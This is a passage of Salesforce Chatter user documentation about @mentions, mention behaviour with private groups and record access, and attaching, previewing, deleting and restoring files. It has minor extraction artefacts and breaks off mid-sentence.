Watch a Demo (1:10 minutes) When you post or comment in Chatter, you can mention a person's name to make sure that person sees your update. Mentioning a person is a way to keep them informed when you're discussing something relevant to them. For example, let's say your coworker Madison posts that she is looking for leads at the company Universal Paper, and you know that Bob Smith has contacts at that company. You can reply to Madison's post with the comment: Talk to @Bob Smithhe knows a few folks at the company. Bob Smith is notified about your post and Madison can click @Bob Smith in the update to view Bob's Chatter profile. To mention someone: 1. Enter @ followed by the first few letters of the person's name. 2. Select the person from the list of matches. The list includes all matches, people you follow and people you don't follow. 3. Post your update. The following happens: The person's name becomes a link to their profile. Your update appears on the mentioned person's profile feed and in their Me filter. Chatter emails a notification to the person you mentioned. The person also receives a notification every time somebody comments on the update where they were mentioned.

You can't have more than 25 mentions in a single post or comment. Search for mentions by entering @ followed by a person's name (such as @Madison Rigsby) in the header search box. In the search results, click Search Chatter Feeds to see where Madison Rigsby is mentioned in Chatter posts and comments.

Mentioning Someone Who Doesn't Have Access to a Record or Private Group


Chatter enforces all the security and sharing rules in Salesforce. If you post an update to a record or private group and mention someone who doesn't have access to that record or isn't a member of the private group, the mentioned person won't see your update. Specifically: You receive a warning that the person isn't part of the group. The mentioned person isn't notified about the update. The update doesn't appear in the mentioned person's profile feed or in their Me filter. The mention appears as a gray link (instead of a blue link). Whenever you see a mention in gray, the mentioned person isn't able to see the update. Note: If you're mentioning someone that isn't part of the group but has the Modify All Data permission, the link still displays as blue. However, the person won't be notified about the update, and you won't receive any warning.

2536

Feeds

Searching for Files to Attach to a Chatter Feed

For example, let's say you create a private group for your sales team and forget to add your coworker Sandy Dunn to the group. When you post an update to this group and mention Sandy Dunn, she won't be notified about the update and won't see the update because she's not a member of the private group. If you later add Sandy to the group, Chatter doesn't notify her about the previous mentions.

See Also:
Feeds Making a Post Adding Topics to Posts and Comments

Searching for Files to Attach to a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

When you click File and Select a file from Salesforce on a Chatter feed, a list of files you own and have access to from Chatter and Salesforce CRM Content is displayed. The 25 most recently viewed files are listed by default. When you find the file you want to attach, click Attach next to that file. From the Select a File to Attach list you can see and search a certain group of files by clicking a specific filter on the sidebar. All FilesAll files you own and have access to from Chatter and Salesforce CRM Content, including: Files that have been shared with you Files you're following Files in your Chatter groups Files in your Salesforce CRM Content libraries Files attached by other people to a Chatter feed. This includes files attached to all public groups, whether you're a member or not, and private groups you're a member of, but not private groups you're not a member of.

Recently ViewedThe most recent files you've viewed. MY FILESAll files you own, files shared with you, and files you follow. Files I OwnFiles you have: Uploaded on the Home or Files page. These are private and not shared with anyone, but you can view them, perform actions, share them, and attach them to Chatter feeds. Attached to Chatter feeds from your computer. Uploaded to Salesforce CRM Content libraries you're a member of and your personal library.

Files Shared with MeAll files that have been shared with you either by a private share or a public post to your profile. Files I FollowAll files that you're following. FILES IN MY GROUPSAll files you and other people shared to groups you're a member of. The last five groups youve visited are listed. FILES IN MY LIBRARIESAll files you and other people uploaded to libraries you're a member of and all files you uploaded to your personal library. The first five libraries you're a member of, including your personal library, are listed. If you're a member of more than five libraries, click More to see a complete list.

2537

Feeds

Performing Actions on a File in a Chatter Feed

Note: Only files from libraries that you're a member of and where you have Post Content to Chatter Feeds or Manage Library checked in your library permission definition are listed. To search for files from the search box: 1. Optionally, click a filter on the sidebar to restrict your search to a specific set of files. 2. Enter your search terms in the search box. You can search by file name, description, owner, type, or within the file's text. 3. Click Search to see a filtered list of all relevant files based on your search terms. Or click The Select a File to Attach list doesn't include: Documents from the Documents tab. Attachments from the Notes and Attachments related list. Links attached to posts in Chatter Files from your personal library to clear your search terms.

See Also:
Attaching a File to a Post or Comment Downloading and Previewing a File in a Chatter Feed Removing and Deleting Files and Links from a Chatter Feed

Performing Actions on a File in a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can perform the following actions on files in feeds. PreviewClick the file thumbnail or click More Actions > Preview next to the file. DownloadClick More Actions > Download next to the file. Upload new versionClick More Actions > Upload New Version next to the file. View file detail pageClick the file name or More Actions > View File Details next to the file. FollowClick Follow next to a file to receive updates about the file in the Chatter feed. Click to stop receiving updates about the file. ShareClick More Actions > File Sharing Settings next to the file to share the file with people, groups, or via link.

2538

Feeds

Downloading and Previewing a File in a Chatter Feed

To learn who can perform which actions on a file, see File Sharing Settings and Permissions on page 2557.

See Also:
Removing and Deleting Files and Links from a Chatter Feed Following Files Sharing Files with People Sharing Files with Groups Downloading and Previewing a File in a Chatter Feed Uploading a New Version of a File Viewing the File Detail Page

Downloading and Previewing a File in a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Not only can you download and save files posted to Chatter feeds, you can also preview files in your browser without downloading them. There are several places in Chatter where you can download and preview files: On the Files pageClick > Download or click the preview ( ) icon next to the file. On any Chatter feedClick More Actions > Download next to the file, or to preview the file, click on the file thumbnail or click More Actions > Preview. > Download or click the preview ( ) icon next to the file.

On the Files Owned by list on a profileClick

On the Files Shared with list on a groupClick > Download or click the preview ( ) icon next to the file. In the Notes and Attachments related list on a record, click Download next to the feed attachment, or to preview the file, click Preview next to the feed attachment.

Previewing a file opens it in your browser with the enhanced document viewer. The enhanced document viewer provides the following capabilities for viewing documents: In addition to using the next page ( ), previous page ( ), first page ( ), and last page ( ) icons on the document toolbar, you can navigate page-by-page through a document by right-clicking and choosing Next Page and Previous Page. You can use the scroll bar to move continuously through a document without needing to click the Next Page and Previous Page icons. Continuous scrolling is not available for PowerPoint files. You can jump directly to a page by entering the page number in the page field and pressing Enter. From the right-click menu you can choose Fit Width to expand the width of the document, or Fit Full Page to preview the whole page of the document. The fit width icon ( ) and fit full page icon ( ) are also available on the toolbar. From the right-click menu you can choose Full Screen to preview the document in full screen mode, or Exit to exit full screen mode. The full screen icon ( ) and exit icon ( ) are also available on the toolbar. ) and zoom-out icon ( ) are also

From the right-click menu you can Zoom In or Zoom Out. The zoom-in icon ( available on the toolbar.

2539

Feeds

Removing and Deleting Files and Links from a Chatter Feed

You can use the keyboard arrow keys to navigate page-by-page through a document. Click on the document viewer and use the keys as follows: Right-arrow key: moves a PowerPoint document forward one slide and moves a PDF, Word, or Excel document forward one page. Left-arrow key: moves a PowerPoint document backward one slide and moves a PDF, Word, or Excel document backward one page. Up-arrow key: moves a PowerPoint document forward one slide and scrolls a PDF, Word, or Excel document up the page. Down-arrow key: moves a PowerPoint document backward one slide and scrolls a PDF, Word, or Excel document down the page. Note: Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.

See Also:
Feed Attachments Removing and Deleting Files and Links from a Chatter Feed

Removing and Deleting Files and Links from a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

There are different ways to remove and delete Chatter files and links depending on where they appear. To remove a file or delete a link from a Chatter feed, you must delete its post. To delete a file, you must go to the file detail page or content detail page. You can only delete a file if you are the file owner. Users with the Modify All Data permission can delete all comments, posts, files and links.

Removing a File from a Chatter Feed


To remove a file from a Chatter feed, you must delete its post. When you delete a post that includes a file, you're not deleting the file, just the reference to the file; the file remains in its original location. If the file was attached to a post and not shared in other locations, deleting the post also removes the reference to the file and the file goes back to being private, but can be shared again later.

Removing a File from a Chatter Feed on a Record


There are two ways to remove a file on a Chatter feed on a record: Remove the file on a Chatter feed by deleting its post. This deletes the post, removes the file from the feed and from the Notes and Attachments related list, but the file remains in its original location. If the file isn't posted anywhere else, it goes back to being private, but can be shared again later. Remove the file on a Chatter feed by clicking Del next to the feed attachment on the Notes and Attachments related list. This removes the file from all Chatter feeds where it's been shared and deletes the file from the Notes and Attachments related list. Restore the file by clicking on the Recycle Bin, selecting the file, and clicking Undelete. If the file was attached

2540

Files

Files Overview

from your computer, a Chatter feed, group, or a Salesforce CRM Content library, deleting it from the Notes and Attachments related list also removes it from the post, but doesn't delete it from its original location.

Deleting a link from a Chatter Feed


To delete a link on a Chatter feed, you must delete its post.

Deleting a File from a File Detail Page


Click Delete on a file's detail page to delete the file and remove it from all locations where it's been shared. If the file is shared via link, anyone with the link will no longer have access to the file. To restore the deleted file, click on the Recycle Bin link on the Home page. Select the file and click Undelete. The file is restored as well as all of the shares that were associated with it.

Deleting a File from a Content Detail Page


When you post a file in Chatter, the file also appears in Salesforce CRM Content. To delete the file from Chatter, Salesforce CRM Content, and all locations where it's been shared, click the name of the file on the Libraries, Content, or Subscriptions tab. From the content details page, click Edit > Delete Content to delete the file. Deleting a Chatter file from the content details page deletes the file from Salesforce CRM Content and from Chatter.To restore deleted content, click on the Recycle Bin link in any tab. Select the content and click Undelete.

See Also:
Feed Attachments Downloading and Previewing a File in a Chatter Feed

FILES
Files Overview
Use the Files page to upload, store, find, follow, share, and collaborate on files in the cloud. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo on Sharing Files in Chatter (2:45 minutes) Any file you own and have access to is available to share or attach to posts or comments on Chatter feeds. All file types are supported, including everything from Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files. Files up to 2 GB can be uploaded by default. However, your maximum file size is determined by your organization. Files are automatically added to the Files list when: You upload a file.

2541

Files

Using the Files Tab

You or someone else attaches a file to a Chatter feed or comment. This includes files attached to all public groups, whether you're a member or not, and private groups you're a member of, but not private groups you're not a member of. Someone else shares a file privately with you using the Sharing dialog box. You upload a file to a Salesforce CRM Content library. Someone else uploads a file to a library you're a member of. You or someone else creates a content pack or uploads a Web link in Salesforce CRM Content. You only see files from content packs and Web links you have access to.

To learn who can perform which actions on a file, see File Sharing Settings and Permissions on page 2557. For more information about Chatter files and Salesforce CRM Content files, see What is the difference between Files, Salesforce CRM Content, Salesforce Knowledge, and Documents? on page 3776

See Also:
Using the Files Tab Overview of Uploading and Sharing Files Searching for Files Viewing the File Detail Page Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments

Using the Files Tab


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

On the Files page, you can: See all the files you own or have access to and filter a certain group of files. Search for files using specific filters and by typing terms in the Files search box, or the search box at the top of the page. Upload private files or upload and share files with people, groups, or via a file link. Preview a file without downloading it. Follow and receive updates about a file in the Chatter feed. Click updates about the file. next to the file you're following to stop receiving

Click to download, upload a new version, share with people, groups, or via link, and see sharing settings. Click a file name to view the file detail page. You can view detail pages for all files, but you'll only see updates in the Chatter feed for files you follow. Click a file owner's name to see his or her profile.

See Also:
Files Overview

2542

Files

File Recommendations Overview

File Recommendations Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter recommends files that you might want to follow based on the popularity of the file, determined by the number of people who have viewed or downloaded the file. To see an expanded list of your recommendations, click More in the Recommendations section. If no recommendations appear, then you already follow all the recommended files.

See Also:
Viewing Your Recommendations Following Files

Overview of Uploading and Sharing Files


Available in: Group, Professional, Enterprise, Unlimited, Contact M

Anda mungkin juga menyukai